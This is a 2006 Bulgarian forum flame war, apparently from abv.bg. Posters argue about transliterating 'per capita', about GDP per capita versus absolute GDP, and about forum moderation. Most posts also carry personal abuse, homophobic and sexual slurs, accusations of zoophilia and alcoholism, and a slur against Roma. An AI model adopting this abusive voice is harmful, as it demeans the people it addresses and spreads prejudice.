а/ ПЕР КАПИТА е ЛАТИНСКА КОНСТРУКЦИЯ и е редно да се транскрибира по този начин, а не на английски. Английската фонетизация не променя генезиса. А, според традициите на българския език, латинските думи (както и гръцките), които преобладават в науката се транскрибират според фонетиката на БЪЛГАРСКИ, а не на английски. Напр. CORTEX се е наложило като КОРТЕКС, но не и като английската фонетизация КООТЕКС "cortex ['kC:teks]" Друг пример може да се даде с латинското FORTUNA, което се изговаря и пише като ФОРТУНА и на никой нормален не му минава през главата да го изговаря според английската фонетизация "ФОО-ТЮНЪ" [fС:`tju:nE]. Дано да са ти достатъчни тези примери за ограниченото разбиране, за да осъзнаеш, поне за малко, че PER CAPITA на никакво основание не може да се фонетизира през английски, тъй като, по тази логика би трябвало да се изговаря и пише като ПЪЪ КЕПИТЪ [p\: 'kеpItE], а не ПЕР КАПИТА.
Като последно доказателство на правилната транскрибция и фонетизация на ПЕР КАПИТА давам 50 700 резултата на изписването на тази дума по този начин в Гугъл (можеш да провериш и сам, на мен ми отне само 0,33 секунди, за тебе може и да е 1 минута, но си струва!
Ето ти и конкретни цитати от източник, който е МНОГО АВТОРИТЕТЕН - МИНИСТЕРСТВОТО, което отговаря за образованието и културата на такива като тебе в България, но не е направило чудото да станеш точно ти образован:
PDF] ОБРАЗОВАНИЕ И ОБУЧЕНИЕ 2010Формат на файла: PDF/Adobe Acrobat - Във вид на HTML
От друга страна, България има по-нисък БВП пер капита от. всички бивши страни-кандидатки с 28 % от средното ниво за ЕС [21]. ...
minedu.government.bg/.../export/sites/ mon/left_menu/documents/strategies/edu__training_Lisbon_str_BG.pdf - Подобни страници
Хайде сега да те видим какво ще ми кажеш?
б/ По АБСОЛЮТНА СТОЙНОСТ ГОВОРИМ. Тя е най-важната!
" Набута ли се самичък, смешник:)?
"
Това се пита за теб! В момента!
___________
"Това, че се опитваш да ме изпитваш с въпросчета от Обща икономическа теория или(най-вероятно) сляпо копирани от някой сайт е приемливо - все пак ти си умен, а аз глупав."
Аз питам, ама не получавам отговор. А за това, че си глупав - то си личи. Как можеш да смяташ, че латинските думи в българския се изговарят според английското фонетизиране, ти нормален ли си? Даже ето ти пресен пример - НОРМАЛЕН се пише на бг, а не "НООМЪЛ", нали?
"Но да се пързулнеш сам в два поредни поста е доста тъпичко, не мислиш ли, о, хане мой?"
Тъпичкото е, че си неграмотен, а се мислиш за вещ, както и това, че не разбираш как сам се излагаш. :)
"Все пак ти ми кажи: кое е по-важно "GDP" или "GDP per capita"? Отговорът е очевиден за всеки първи курс във УНСС"
"GDP", мойто тъпаче, се казва "БВП", ако не знаеш. А по-важното е АБСОЛЮТНИЯТ БВП, понеже пер капитата:
а/ Не означава РАВНОМЕРНО РАЗПРЕДЕЛЕНИЕ НА ПРОДУКТА!
В една паланка може да има 10 души и по ПЕР КАПИТА да са с 5000 лева!
В друга паланка може да има 10 души и по ПЕР КАПИТА да са със само 300 лева!
Но в първата разпределението е такова : 4901+1+1+1+1+1+1+1+1+1.
Във втората, обаче, разпределението е такова: 30+30+30+30+30+30+30+30+30+30.
б/ Не означава, че НАРОДЪТ И ДЪРЖАВАТА СА ПО-ПРОСПЕРИРАЩИ ОТ ДРУГИ С ПО-ВИСОК ПОКАЗАТЕЛ ОТ СЪЩИЯ ТИП.
Веднага 2 примерчета за мойто момченце, немисловно:
- Екваториална Гвинея е с 50 200 американски долара ПЕР КАПИТА
- САЩ са с 41 800 американски долара. Значи ли това, че африканците в Екваториална гвинея са с по-висок стандарт от средния американец?
Втори пример , от сферата на военното дело, но достатъчно простучък, за да проумееш нещата:
България има повече ПОДВОДНИЦИ, САМОЛЕТИ И ТАНКОВЕ /ПЕР КАПИТА/ от КИТАЙ. Това значи ли, че България е по-силна военно? ;) Чакай и да ти го илюстрирам с по-опростена схематизация:
Една държава има 100 души население и ПЕР КАПИТА им се падат по цели 3 танка.
Друга има само 0,8 танка ПЕР КАПИТА, но е с население 1 000 000 души. Познай кой печели войната, ако приемем изходните условия за еквивалентност на останалите показатели, както и конвенционалност на военните действия.
Толкова за ПЕР КАПИТАТА.
"но понеже изтъкваш, че Китай е на второ място по БВП, много бих желал да чуя кой имаш предвид"
Ето какво имам предвид:
1. United States $ 12,370,000,000,000 2005 est.
2. China $ 8,158,000,000,000 2005 est.
3. Japan $ 3,867,000,000,000 2005 est.
Нали разбираш ,ужким, някакъв английски, може и да го проумееш!
"за да вникна в дълбочината на твоите икономически познания."
ТИ ще вниикнеш, ами АЗ КАК ДА ВНИКНА КАТО НЕ СИ ОТГОВОРИЛ НА ВЪПРОСИТЕ МИ?
"Сега и колегите в офиса се забавляват като ти четат писанията, палячо!"
ТОВА Е СТАНДАРТНА ФРАЗА, КОГАТО НЯКОЙ СЕ ЧУВСТВА САМИЧЪК - търсиш виртуална подкрепа и за тази цел ти служат "колегите от офиса", а? Много си плитък емоционално-психологически, не само икономически, както виждам!
"Благодаря ти от все сърце за прекрасната вечер:)
Чакам отговор!
"
Моля, моля! Пак заповядай, ама аз няма да ти благодаря, понеже не получих отговор на въпросите си. А отговорът дойде, както виждаш.
中共
Wed Mar 29 08:43:01 2006
Отг: Много си прав за някои работи, сега само ще доуточня: редактиране |
--------------------------------------------------------------------------------
"Ко стана, поСЕР, търсиш из книжките и нета какво да ми отговориш ли?"
Скелетко, има едно такова нещо, че, когато в след 23 часа ( а, ужким си в офиса с колеги) постваш, при мене е ДОСТА СЛЕД ПОЛУНОЩ, понеже часовата разлика между БГ и КНР не е 1 или 2 часа. Така че аз не мога да вися и да те чакам. Иво е някакъв мутант и, макар че в Япония са още по-напред във времето, може да виси по цели нощи, но аз се нуждая от нещо, наречено сън.
"Хареса ли ти как се наака самичък, така е в бързината, понякога не успяваш да събуеш гащичките..."
Колко хубаво си запознат с наакването - явно понеже в предния постинг си го демонстрирал и то класически за смях на публиката!
"Казвай, степна фурийке(по нашему "свирчо"), кое е по-важно - абсолютен или per capita?
"
Степна фурийка са близките ти приятели, Скелетчо :)
А АЗ ДА НАПОМНЯ, ЧЕ НЕ ПОЛУЧИХ ОТОГОВР НА ПРОСТИТЕ ИКОНОМИЧЕСКИ ВЪПРОСИ, КОИТО ТИ ЗАДАДОХ, КОЕТО ИДВА ДА ПОКАЖЕ, ЧЕ ЕДВА ЛИ ИМАШ ВИСШЕ ИКОНОМИЧЕСКО ОБРАЗОВАНИЕ!
中共
Wed Mar 29 09:19:00 2006
Ами ти си от интелигентните хора и редактиране |
--------------------------------------------------------------------------------
си му казал много добре, че не мога да вися тука нон-стоп. Прекарвам над 5 часа в Интернет на ден, така че никой не може да каже, че не е достатъчно. А и той не се е регистрирал, така че, даже не може да получава лични съобщения, които биха му позволили да бъде сигурен, че съм отговорил.
Иначе, радвам се, че си щял да отговориш вместо мен, смятам, че като по-интелигентен от 3-мата взети заедно - Берсек, Иво и Скелета, ще разбереш, че ПЕР КАПИТА не е гарант за СТАНДАРТА НА НАРОДА И ДЪРЖАВАТА.
Да вземем за пример ГЕРМАНИЯ и БЪЛГАРИЯ.
СПОРЕД ПЕР КАПИТА (на БВП) България ($ 9,000 2005 est. )е по-зле от :
-БОТСВАНА ($ 10,100 2005 est.)
-БАРБАДОС ($ 17,300 2005 est.)
СПОРЕД СЪЩИЯТ НЕОБЕКТИВЕН ПОКАЗАТЕЛ ГЕРМАНИНЯ($ 29,700 2005 est.) е по-зле от:
-Кайманските острови ($ 32,300 2004 est. )
-Бермуда ($ 36,000 2003 est. )
Така стоят нещата.
Прилагам и снимки на по-замогналите се от българите ботсванци:
Много по-богати, развити и проспериращи са от България, нали?
ЧЕ ТО ДАЖЕ В НЯКОЯ ЦИГАНСКА МАХАЛА Е ПО-ДОБРЕ, БЕ!
Ето защо на осреднени показатели не трябва да се вярва. Според тях даже САЩ, Норвегия, Япония и Китай са по-зле от африканска държава!
中共
Wed Mar 29 09:39:55 2006
Отново си прав за доста неща, въпреки че редактиране |
--------------------------------------------------------------------------------
не предполагаш.
В Китай престъпността е на едно от най-ниските нива в света, а в същото време в САЩ и ЮАР на всеки 10-30 секунди става по едно престъпление.
За децата - ще се грижим, бе! Спокойно. Аз много уважавам японците (е, тебе малко те стряскам с политиката, ама по китайските сайтове и тук винаги съм призовавал към мир и сътрудничество с Япония). Ето защо знаех, че на ПРАЙДА японците, като достойни хора, ще се проявят, а ти ги беше отписал без време.
Такива ми ти работи. Правиш грешки, но, понякога, по случайност си прав. Понеже се знае, от логиката, че ПОНЯКОГА от неистинни предпоставки се достига до истинни изводи.
____
За учителската ми заплата не бери грижа - развнява се на над 1000 български лева. Писал съм го и по рано. А пък нетът тук е социалистически евтин - само по 10 лева на месец - неограничен достъп! Гот, нали?
За пиенето - ами да. Аз като не пия да не съм умрял? Знаеш ли колко пари се спестяват, според който и да е стандарт. Ако примерно харчиш само 5 % от парите си на месец, за една година си изхарчил 60% от едномесечен доход, а с това, да речем може да си купиш мебели или компютър и пр. И то калкулираме при отправна точка от 5%, а ти както пропиваш поне 30%, значи, ако спестяваш ще станеш един от японските милионери (и то не в йени, а поне в долари), ако спреш.
_______
За Силвето - не знам. Викат, че съм имал още 15 ника! Както казах, утре можете да решите, че съм просто виртуална креатура на Жоро и пр. С шизофреничностите ви не ми се занимава.
"Да земиш пак да съ върниш към туй ти амплоа,чи да си поговорим за пейливанлък,чи да зема аз ена бака зихтин,чи кът тъ залея,чи кът..."
Хмммм, снимчиците на турските гейчовци са те повъзбудили. Спокойно! Пий едно саке и ще ти мине (понеже при твоят алкохолен праг то сакето сигурно ти се явява еквивалент на вода). Сега като четеш това веднага ти пресъхнаха устата и ще си сипеш нещо по-твърдо, нали? Абе познавам ги аз алкохолните зависимости отблизо.
За пилоните - казах ти, че по-скоро си се объркал с турчето.
ПЕХЛИВАНЛЪК-ТУРСКА БОРБА-ТУРСКИ ПРИЯТЕЛ-ПИЛОНИ-ГЕЙ-МЕЧТИ.....Доста и нтересен пъзел, а?
"Ма аз съм оптимист!Ти пак ши съ върниш!"
Да, то така става :))) И защо да се върна, за да ми дадеш -10% с думите "Ето ти още 10 от мене!" и с обяснението да си е.. мамата ли? Много искаш, май!
"С по-добър ъпгрейд(виж,нявгъж използвами и по-сложни думички!)!"
Абе ти научи по-добре японския, да не стане пак да не знаеш какво е "КАРИ".
"И с всеки бан,все по-съвършена си ставаш!Накрай на арбия ши удариш скалпеля!Що?Щото за вярата бронебойни патрони нема открити!Дерзай,мила!Е-е-ех...чи ми иди да съ нАпия...да си рАскъсъм ризата...и да са мАана от тоз живот!
"
ЗДРАВО ИЗДИШАШ, А? :)))) Ами то си е закономерно.
Ето тук е описан твоят случай:
google.com/search?hl=zh-CN&newwindow=1&q="Р°Р?Р?Р?С…Р?Р?Р?Р°+Р?РμР?РμР?С?РёС?"&lr=
Избери си някое материалче и прочети. Лючовата думичка е "алкохолна деменция".
中共
Wed Mar 29 09:41:35 2006
Отг: снимката с южноамериканския каратист редактиране |
--------------------------------------------------------------------------------
Хумор, сатира и забава, а?
中共
Wed Mar 29 09:51:52 2006
Ти виж какво: редактиране |
--------------------------------------------------------------------------------
"това не е държавен сайт, който трябва да бъде демократичен или нещо такова."
РАЗБИРА СЕ, ЧЕ НЕ Е ДЕМОКРАТИЧЕН, но въпросът е, че не е НОРМАЛЕН!
"Това е ЧАСТЕН сайт и има правила."
КОИТО ФИГУРИРАТ САМО ФОРМАЛНО.
"Като не спазваш правилата хвърчиш, другите не са ти извинение за твоите постъпки."
ХВЪРЧИШ, АКО НЕ СИ ТЕХЕН ЧОВЕК, АКО СИ ТЕХЕН, МОЖЕ ДА ГО ОСИРАШ И НЯМА ПРОБЛЕМИ. Я ВИЖ ЗОРО КАКВИ ГИ Е ПИСАЛ! В КРАЯ НА ПОСТА ЩЕ ТИ ДАМ ПРИМЕРА!
"А за мненията на Татар- тоя просто е открил нови хоризонти на простотията. Цял Христофор Колумб на Глупостта. По-голям кретен едва ли може да се намерил на северното полукълбо."
То май за тебе се отнася това.
"Мисля че не го трият, защото неговите мнения обикновено пораждат толкова смях и съжаление, за колкото и най-добрите комици биха могли да си мечтаят."
ТРИЯТ ГО, ТРИЯТ ГО! Не знаеш колко много е изтрито, особено там, където опровергава нещастниците.
А ЕТО ТИ И ПРИМЕРА СЪС ЗОРО, който сам по себе си опровергава всичките ти опити за умозаключения:
In reply to:
--------------------------------------------------------------------------------
15.02.2006, 16:51 Мнение #7
Група Дао
Мнения 882
Регистрация: 11.09.02
От: Варна
Потребител No.: 74
Пол: мъжки
БИ: Муайтай , Сан Шу , Кик-бокс , Бокс
Айде , виждате ли какво става с Докторските простотии - ти ве мухльо , страхлив ОТКАЗА да се биеш с мен - пак ли трябва да пускам линковете . Нарочно ме предизвикваш да пиша , нали ?! А сега отговорете ми , как да не му разкатая фамилията на този Доктор ?! А ти педерастче смотано нали щеше да ме стреляш , да ми чупиш кокалите , а си най-обикновен страхливец и лъжец . А твоя цъфнал задник от ареста и психодиспансера , що не споменаваш Ти още ли лъскаш бастуна с две пръсчета , щото ти е малка пишката докато те опъват на задна прашка
Мнението е било редактирано от Zoro: 15.02.2006, 17:02
--------------------------------------------------------------------------------
А ето какъв език се употребява от МОДЕРАТОРЪТ ОНЯ (Иво):
In reply to:
--------------------------------------------------------------------------------
15.02.2006, 17:39 Мнение #8
хрисим човечец
Група Mодератори
Мнения 1689
Регистрация: 22.06.03
От: на майната си...
Потребител No.: 788
Пол: мъжки
БИ: ГСБ
е,нееее!вий сте си ебали майката!
--------------------
--------------------------------------------------------------------------------
Все още ли мислиш, че народът там е много умен?
Anonymous
Wed Mar 29 10:56:43 2006
Отг: Ти виж какво:
--------------------------------------------------------------------------------
Татаре, теб как ти остава време да преподаваш бе? Тук кат те гледам постваш толкова постове, че надписваш 4 - 5 човека, които се забавляват с твоита смешна персона. Ама това е добре, виж каква веселба става. Самият ти стана легенда, малки деца заспиват , шептеики многобройните ти никове под завивките. Продължавай в същият дух, моля те, отговори поне с 3 - 4 поста! Пусни плакатният шрифт, червения цвят. Прикачи още снимки от развиващият се Китай. Скоро през любимата си Ботсвана ща влизаш, сигур и там веч има интернет, а има ли, със сигурност те знаят. Международний наш. А посер- хан звучи добре, отива ти.
Anonymous
Wed Mar 29 10:58:18 2006
Отг: Ти виж какво:
--------------------------------------------------------------------------------
Забравих да се подпиша.
С уважение
Уики - кретена - кики.
Anonymous
Wed Mar 29 11:47:03 2006
Отг: снимката с южноамериканския каратист
--------------------------------------------------------------------------------
абе, той и Док
плюеше по свободните двубой, 'ма к'во се оказа в крайна сметка - спечелил УФЦ 8 под чуждоземското име Дон
Anonymous
Wed Mar 29 11:50:37 2006
Отг: снимката с южноамериканския каратист
--------------------------------------------------------------------------------
опа,
и аз забравих да се подпиша:
с уважение: Хамбург
Anonymous
Wed Mar 29 11:57:33 2006
Отг: снимката с южноамериканския каратист
--------------------------------------------------------------------------------
To са и Посерхана ща са окаж, че спечелил някое състезание, под чуждо име, в това е майстор. Примерно състезание по шеф и кроика под прякор Силвя, еротик денс под прякор Жинжър. Способен хемафродит.
Уйки - малоумко - кики.
Anonymous
Wed Mar 29 12:48:00 2006
Отг: Отново си прав за доста неща, въпреки че
--------------------------------------------------------------------------------
А тъй,Гесер!Удри по гадовете!
Я виж твоя човек Доката ко праи-на единия фронт плюй по ммаците,а на другия тихичко ги бий кът тъпани!
И за икономическите съвети благодарско!Начи почвам да живея кът скот,чи да добавим некоя стотинка,чи един ден кът са върним в заветната родина,да мое си купим още ено пакетче дъвки!Спестявай мой!Тя и твойта не е лесна!
А за мазните бурби и пилоните...аз уж за Силвето и Чинчеро говорих,що ти са върза?Ма ти си знаиш!
Пък за изика,ши ма извиневаш!Ми таков сум!Простак!Неколтурник!И алкоголик!Ма ти викаш и отблизо си ги познавал алкогольните зависимости?А аз мислех дякята да ти пращам...Не ми разбивай мечтите!
От твой любим Оня
Anonymous
Wed Mar 29 14:19:10 2006
Отг: Някои истини за теб, Анонимен!
--------------------------------------------------------------------------------
И мене ли ма намеси бе, на теб май думата сарказъм нищо не ти говори :)Има и още една думичка, която ще ти е от полза - самоирония. И не само да я научиш, ами и да я разбереш, че много насериозно се вземаш, а докато продължаваш така, все ще си мезе за другите.
А по въпроса, че съм "най-големият комплексиран", хм, странно защо всички смятат тебе за комплексиран, а не мен, да ти подскажа ли с насочващ въпрос :) Кой постоянно се самоизтъква и се опитва да докаже, че струва (не че някой вярва)?
И още едно въпросче - на теб 1000 лв. на месец много ли ти се струват?
От Червения Дракон
П.П. А по въпроса за тясната специализация и широката ти култура мога да кажа само следното - много неща знаеш, но от нищо не разбираш.
Anonymous
Wed Mar 29 15:01:27 2006
Отг: Отново си прав за доста неща, въпреки че
--------------------------------------------------------------------------------
Сетих са за една ситуация от филм,нямаща нищо общо с темата,ма така и така събрахме полвината екип на даото...
Един пич върви по улицата и вижда един хапталин,дет му дължи пари,върви с майка си и нашия почва отдалеко:
-Де*ба пи*ка ти майчина...с извинение,госпожо!...
Onq
中共
Wed Mar 29 18:13:34 2006
Отг: Ти виж какво: редактиране |
--------------------------------------------------------------------------------
Ами виж сега, в Китай е социализъм и е много евтино. Не се налага да работиш като вол по 6-8 часа, както в България. Тук се работи не повече от 18-20 часа седмично.
Хубаво си забелязал, че поствам много. Скелетното мислене, обаче, си е въобразило, че съм длъжен да вися тука нон-стоп, за да му отговарям постоянно.
За забавлянието - не виждам как се забавляват, при положение, че биват оборвани правени за смях тези 4-5 човека.
За малките деца - ти как знаеш как заспиват? Много странни наблюдения и опит демонстрирате! Един с животни, друг с деца! Ама то нали все психопати в едно над 80% сте в ДАОБГ-то, та не се учудвам!
Плакатен шрифт и червен цвят няма! Казано е, че тука няма възможност за такива неща. ама то, който си е неграмотен говори дивотии.
За Китай - ама може ли да се пускат снимки? Щото по неграмотната ти логика и снимки не могат, абе нищо не може в абв-то :))))))))ДАЖЕ ОГРАНИЧЕНИЯТА НА ДАОТО не могат да просъществуват тук, НИТО ПЪК количеството на неграмотните.
За Ботсвана - не си схванал. Ставаше дума за Брутен Вътрешен Продукт от глава на населението, според който показател, ужким се отбелязва благоденствието на обществото, Ботсвана е доста по-доре от България. Но, дори и ти, си го усетил несъзнателно, че не е така и не виждаш как ми подкрепи с нещастния си опит за ирония тезата.
Посер иначе отива на татко ти, че те е направил такъв ръб.
Иначе за сигурността на Ботсванския интернет- САМО ТЕ ЗНАЕЛИ, А:))))))
ХАХАХАХАХАХАХА!!!! За тебя нямали ИЗТОЧНИЦИ НА ИНФОРМАЦИЯ, БЕ, Посеров?
Ботсваната има 60 000 юзъра на Интернет за 2002-ра година. Така пишат от ЦРУ.
Иначе, доколкото виждам, завиждаш, че съм в чужбина и съм видял доста свят. Ами учи се, за да видиш и ти, а не да вършиш лоши неща, ако се докопаш до чужбина. Ето, примерно, Скелетчо казва, че човек можело да прави секс с кози и пр. Ако е в чужбина ще се снима в зоофилски порно-сайтове - единственото нещо, което може!
А ти не трябва да си така. Учи се от по-умните батковци!
中共
Wed Mar 29 18:15:47 2006
Отг: Ти виж какво: редактиране |
--------------------------------------------------------------------------------
За да не се подписваш всеки път- регни се. Ама май не можеш, понеже то нали в абв.бг не може да се пише с цветове. Сигурно не може и регистрации да се правят, нали Посеров?
中共
Wed Mar 29 18:34:19 2006
Отг: снимката с южноамериканския каратист редактиране |
--------------------------------------------------------------------------------
Не бе, това не е Доктора!
Toва е АХМЕД:
中共
Wed Mar 29 18:37:29 2006
Отг: снимката с южноамериканския каратист редактиране |
--------------------------------------------------------------------------------
Maйстор си ти, но на психопатологичните конфабулаторики.
Иначе за майчето ти, че е хермафродит - знаем. И се казва Стоян, нали?
中共
Wed Mar 29 18:40:15 2006
Отг: Отново си прав за доста неща, въпреки че редактиране |
--------------------------------------------------------------------------------
Ето за хубавия виц една снимчица и гледай да не се натопорчиш пак като преди. Контролирай се!
;)
Anonymous
Wed Mar 29 19:00:39 2006
Отг: снимката с южноамериканския каратист
--------------------------------------------------------------------------------
(@о@)!!!
Доктора в ново амплоа!?!?
Ба,ши му стана фен на тоа човек!
Ма той знай ли де го вреш?
За топорченето,чекаме твоя снимка Силве!Мое и на Чинчеро...или на новата ши-мейл версия,мое и бета да е,работна,сигурен съм ше е яка!Ае знам аз накрая ше удариш сам чукалцата,за по-достоверно!Тъй или инак зе да ти става навик кът пичка да са изявяваш...Ши чеками!
от твойта голема лебоф Оня
中共
Wed Mar 29 19:07:14 2006
Отг: снимката с южноамериканския каратист редактиране |
--------------------------------------------------------------------------------
За чукалцата - гледай на тебе да не ти ги ударят, понеже при вас има доста шовинистични деца, които направо режат коремчета, главички, ушета и пр.
По останалите ти бълнувания - като изтрезнееш и ги приведеш в по-добра форма.
中共
Wed Mar 29 19:26:39 2006
Отг: Някои истини за теб, Анонимен! редактиране |
--------------------------------------------------------------------------------
Върховно удоволствие за публиката - появява се комплексираният човек Ред Дракон, който хвърля малко дрисък срещу опонента си, но докато победоносно гледа в посоката на предполагаемата жертва не усеща как издайнически, кафеникави струйки се стичат по крачолчетата му, понеже е забравил в бързината да се събуе.
Ето сега и коментари по неуспелия ти фекален снаряд:
"И мене ли ма намеси бе, на теб май думата сарказъм нищо не ти говори :)"
Ти си един от първите и основни, които ми ограничаваха правата там по комплексарски причини!
"Има и още една думичка, която ще ти е от полза - самоирония."
Ти си олицетворение на нея. Само, че на едно по-различно ниво. Самоирония на природата! (Лаиците пък му викат - "ГРЕШКА НА ПРИРОДАТА"). От срещата в София, един от юзърите на ДАОТО, с който поддържам връзка те определи като "Много мазен и двуличен човек!" (Когато ми изтече бана, ако все още си помня паролата на профила, мога да ти припейстна мнението му, без да издавам кой е).
"И не само да я научиш, ами и да я разбереш, че много насериозно се вземаш, а докато продължаваш така, все ще си мезе за другите."
Аз съм, ужким, мезе на опонентите си, а ти на своите си. Да не казвам какво се говори пък за външността и физиката ти!
"А по въпроса, че съм "най-големият комплексиран", хм, странно защо всички смятат тебе за комплексиран, а не мен, да ти подскажа ли с насочващ въпрос :)"
Кои "всички"??? Зоофилчетата от типа на Скелета, алкохолно-зависимият "японец" или "интелекти" като Берсек? ТИ се ползваш наистина със страшна подкрепа от много ерудирани и завършени личности. Защо ли, обаче, не усещам дори капка завист от това, дори и благородна, поне? :)
"Кой постоянно се самоизтъква и се опитва да докаже, че струва (не че някой вярва)?"
О, не. Просто има хора с повредени мозъци, на които трябва да се повтарят някои неща. А за вярата - тя е обект на теологията. Ти, примерно, вярваш че си научил много неща и можеш да мислиш. Но има ли някакво значение? Само с вяра, без надежда и любов не става - ХАХАХАХА! :)
"И още едно въпросче - на теб 1000 лв. на месец много ли ти се струват?"
При положение, че ток, вода, газ, чистачка, асансьор, охрана /наистина не знам защо в Китай я има тази длъжност, като е толкова спокойно тук/, телевизионна такса и Интернет СА МИ НЕ ПОВЕЧЕ ОТ 90 лева, как мислиш?
Или ти механично смяташ, че навсякъде цените са еднакви? Горкичкия! Скелетът пък си мисли, че часовата разлика България/Китай е несъществена... ама такива сте вие мозъците от ДАОБГ.
"От Червения Дракон"
И ти ли не знаеш как да се регнеш?
"П.П. А по въпроса за тясната специализация и широката ти култура мога да кажа само следното - много неща знаеш, но от нищо не разбираш.
"
От какво не разбирам? Да не би да е от това, че, когато четеш за някое насилие започваш да се страхуваш? Разбирам аз доста неща, ама ти не си общувал достатъчно с мене, за да се убедиш. Ама как да общуваш като налагаш "Системно отклоняване от темата!" , не виждайки КОЛКО МНОГО СЕ ОТКЛОНЯВАТ ДРУГИТЕ, Господин Претекст Комплексаров. Ами вземи поне пример от ОНЯ! Той си дава -10% и си казва, че си го прави щото така му харесва и да си еб@ майката! А ти двуличничиш и изсмукваш претексти!
А сега ти показвам едно много хубаво изречение за вас- модераторите на ДАОБГ от Дориян Александров - Доктора:
In reply to:
--------------------------------------------------------------------------------
15.03.2006, 13:19 Мнение #13
Група Ушу
Мнения 968
Регистрация: 25.02.04
От: София
Потребител No.: 1593
Пол: мъжки
БИ: Традиционно У-Шу /Син-И, Па-Куа и Тай-Дзи/, Ескрима
Модераторите нещо май спят ?!? Моля, не допускайте форума да се превръща в свинщина от разни господа със сбъркана ценностна система и умстванни увреждания. Щом нещо не е по-темата го трийте незабавно и след предупреждение изхвърляйте въпросните индивиди от форума. Предложението ми е сериозно, защото наблюдавам от няколко месеца, че по-сериозните участници точно заради такива прояви вече не пишат във форума!
--------------------
"Желанието да имаме това, което нямаме, ни пречи да ползваме това, което имаме !"
Usus est magister optimus /"Практиката е най-добрият учител"/!
--------------------------------------------------------------------------------
Поучи се!
Anonymous
Wed Mar 29 19:37:08 2006
Отг: Някои истини за теб, Анонимен!
--------------------------------------------------------------------------------
Тоз ма преби!Мой,не искам си предстаям коптора,дет водиш скотското си съществуване!
И ари мола та н дей вади лафове,н си единствения б...опа щех да та обидя...татарин из Болгарии,дет са и вясвал из Китай!
Стой и са ерудирай в кочината и работи по алфа версията на ши-мейла,чи мноо фенове я чекат вече!
От твойта голема лебоф Оня
中共
Wed Mar 29 19:54:16 2006
Отг: Някои истини за теб, Анонимен! редактиране |
--------------------------------------------------------------------------------
Ивчо отново е пожелал да демонстрира познания относно Китай, но му предстои да се разочарова.
"Тоз ма преби!Мой,не искам си предстаям коптора,дет водиш скотското си съществуване!"
Значи има едно нещо като АЙПИ. Има и програми за локализирането му. Виж къде съм в момента. Ако не можеш - ще ти подскажа - в тропическия рай на Китай - остров-провинция Хайкоу. Викат му "китайските Хаваи" и понякога е любима дестинация на много японци.
Да ти прилича на коптор Хайнан?
"И ари мола та н дей вади лафове,н си единствения б...опа щех да та обидя...татарин из Болгарии,дет са и вясвал из Китай!"
Taтарите са наследници на прабългари, кумани и монголи. Готини хора! Иначе аз съм тук, понеже имам диплома за висше образование и владея няколко езика. Останалото са подробности.
"Стой и са ерудирай в кочината и работи по алфа версията на ши-мейла,чи мноо фенове я чекат вече!"
Батка, понеже виждам, че злобееш, ще усиля злобата ти като ти покажа как в сравнение с Китай, Япония по-прилича на кочина:
ОСАКА:
(може да се съзрат и част от мръсотиите около реката)
ШЕНДЖЕН:
Не знам какви алфа, бета и гами -версии бълнуваш. Ако те хване алкохония делир може и до епсилон и омега да стигнеш, де да те знам!
中共
Wed Mar 29 20:04:10 2006
Отг: Eфекти ли? редактиране |
--------------------------------------------------------------------------------
Скелета, отивам да пиша в "История" на абв.бг, "Бойни изкуства" за днес ги оставям. ТОВА, го пиша в случай, че се появиш и стигнеш до заключението, че не мога да ти отговоря. Ама нещо гледам ти не се появяваш да отговориш нито на поставените от мен въпроси, нито на отговора на постинга ти с многото грешки.
А на Ивчо - приятно изтрезняване и до утре!
Поздрави от "коптора" - Хайнан:
Anonymous
Wed Mar 29 20:06:33 2006
Отг: Някои истини за теб, Анонимен!
--------------------------------------------------------------------------------
Батка,мноо зе да са набираш,нещо и пак на политика го изби,пък аз ти викам чи там ич ни ми пука кви ши ги лафиш!
За твоя коптор говорим,мой,за стряхата дет си са подслонил,шот има ени ставки за наеми,дет съ известни по света и има ора дет им е ясно в къф кенеф си са наврял и ръбаш леб с лютеница да спестяваш месечните 5%,чи да н съ оарчиш с годишните 60% и един ден,кът си додиш дома,да заявиш гордо:
"Живех кът скот!И ей на-припичелих за ино трабанчи!"
И нема ко да ни вадиш пощенски картички!Снимай са себе си,де живеиш,кво йедиш...И аре сЕти са че тоз нет пари юани гълта,нема нужда да бииш рикорда от даото-близо 150 часа онлайн за седмица!
А инак знаим,ти си гении и се ш са сетиш за кви алфа,бета,хикс,игрек и други версии говорим!То за дълго не мое са стърпи дивойчиту и се ши скочи обратно!
Отъ твойта голема лебоф Оня
ПП.И аре са научиш веке да пускаш снимки с нормални размери!
Anonymous
Wed Mar 29 22:05:57 2006
ех и ти
--------------------------------------------------------------------------------
"Върховно удоволствие за публиката - появява се комплексираният човек Ред Дракон"
Да здравей публиката :P
"Ти си един от първите и основни, които ми ограничаваха правата там по комплексарски причини!"
Ами не съм си водил статистика, ама щом казваш, че съм от първите и основни. Само не разбрах, защо по комплексарски причини, с какво пък ти точно ще ме комплексираш?
"(Лаиците пък му викат - "ГРЕШКА НА ПРИРОДАТА")"
На какво основание го твърдиш?
"От срещата в София, един от юзърите на ДАОТО, с който поддържам връзка те определи като "Много мазен и двуличен човек!""
И кой е този юзър?
"Да не казвам какво се говори пък за външността и физиката ти!"
Ами никога не съм твърдял, че съм с полубожествено тяло, но пък жените ме харесват :)
" Кои "всички"???"
Ами и да ти ги изброя, надали ги познаваш, пък време много ще отнеме :)
"Просто има хора с повредени мозъци, на които трябва да се повтарят някои неща."
Или просто си повреден грамофон и въртиш една и съща приказка.
"А за вярата - тя е обект на теологията. Ти, примерно, вярваш че си научил много неща и можеш да мислиш. Но има ли някакво значение? Само с вяра, без надежда и любов не става - ХАХАХАХА! :)"
Вярата не е само обект на теологията. Никога не съм твърдял, че знам много, но е вярно, че мога да мисля :) А надежда и любов, не ми липсват, така че няма смисъл да злорадстваш.
"При положение, че ток, вода, газ, чистачка, асансьор, охрана /наистина не знам защо в Китай я има тази длъжност, като е толкова спокойно тук/, телевизионна такса и Интернет СА МИ НЕ ПОВЕЧЕ ОТ 90 лева, как мислиш?"
Че тука да не е скъпо, я да видим сега - среден разход на ел.енергия 45лв., интернет(неограничен) 20 лв., кабелна 14 лв., такса за вход (асансьор и чистачка) 5 лв, топла и студена вода 20 лв. Общо 104 лв разходи за тричленно семейство в тристаен апартамент. Та значи 1000 лв много ти се виждат :) Горкичкият :P Толкова път си бил до тоз Китай, а те така да те преметнат.
"И ти ли не знаеш как да се регнеш?"
Ами нямам намерение да ставам член на този форум.
"Модераторите нещо май спят ?!?"
Това трябваше да ни обиди ли :) Ами спим бе и ние сме хора, няма да висим постоянно във форума да чистим след вас, веднъж дневно е достатъчно.
